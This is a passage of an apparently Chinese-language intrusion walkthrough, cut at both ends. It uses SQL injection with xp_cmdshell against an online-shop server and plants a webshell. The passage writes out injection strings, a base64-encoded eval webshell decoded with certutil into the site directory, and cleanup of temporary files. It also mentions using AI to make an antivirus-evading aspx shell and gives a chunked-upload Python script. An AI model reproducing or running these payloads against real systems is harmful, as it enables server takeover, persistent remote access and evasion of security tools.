</p>
<div class=)
//利用 for 变量 %~dpi 输出 favicon.png 所在的完整目录路径,并在末尾追加一个 @ 符号admin';EXEC master.dbo.xp_cmdshell 'for /r D:\\ %i in (favicon.png) do @for %j in (\"%~dpi.\") do @if /i \"%~nj\"==\"images\" (echo %~dpi@ > \"%~dpibuild.txt\")';--
2.写入webshell
先写个aspx脚本尝试:
admin';EXEC xp_cmdshell 'echo ^<^%@ Page Language=\"C#\" ^%^>^<^% Response.Write(\"hello world\"); ^%^> > \"D:\\LocalHost\\onlineshop\\attendance.in\\images\\fayfag.aspx\"';--
正常写入一句话:
写入临时Base64文件
admin'; exec master.dbo.xp_cmdshell 'echo PCVldmFsIHJlcXVlc3QoInBhc3MiKSU+ > C:\\Windows\\Temp\\askfle.b64'--
解码到网站目录
admin'; exec master.dbo.xp_cmdshell 'certutil -decode C:\\Windows\\Temp\\askfle.b64 D:\\xxx\\images\\fayfag.aspx'--
清理临时文件
admin; exec master.dbo.xp_cmdshell 'del C:\\Windows\\Temp\\askfle.b64'--
页面返回503 且疑似有杀软
利用AI 生成aspx的免杀shell
分段传输:
import base64
def split_base64(file_path, chunk_size=2000): with open(file_path, 'rb') as f: b64 = base64.b64encode(f.read()).decode('ascii') # 分割 chunks = [b64[i:i+chunk_size] for i in range(0, len(b64), chunk_size)] return chunks
chunks = split_base64('shell.aspx', 2000)for i, chunk in enumerate(chunks): print(f'-- chunk {i+1} / {len(chunks)} --') print(chunk)
使用 >> 追加,> 会覆盖。其他同上:
admin'; exec master.dbo.xp_cmdshell 'echo [块内容] >> C:\\Windows\\Temp\\payload.b64' --
外部交流群









评论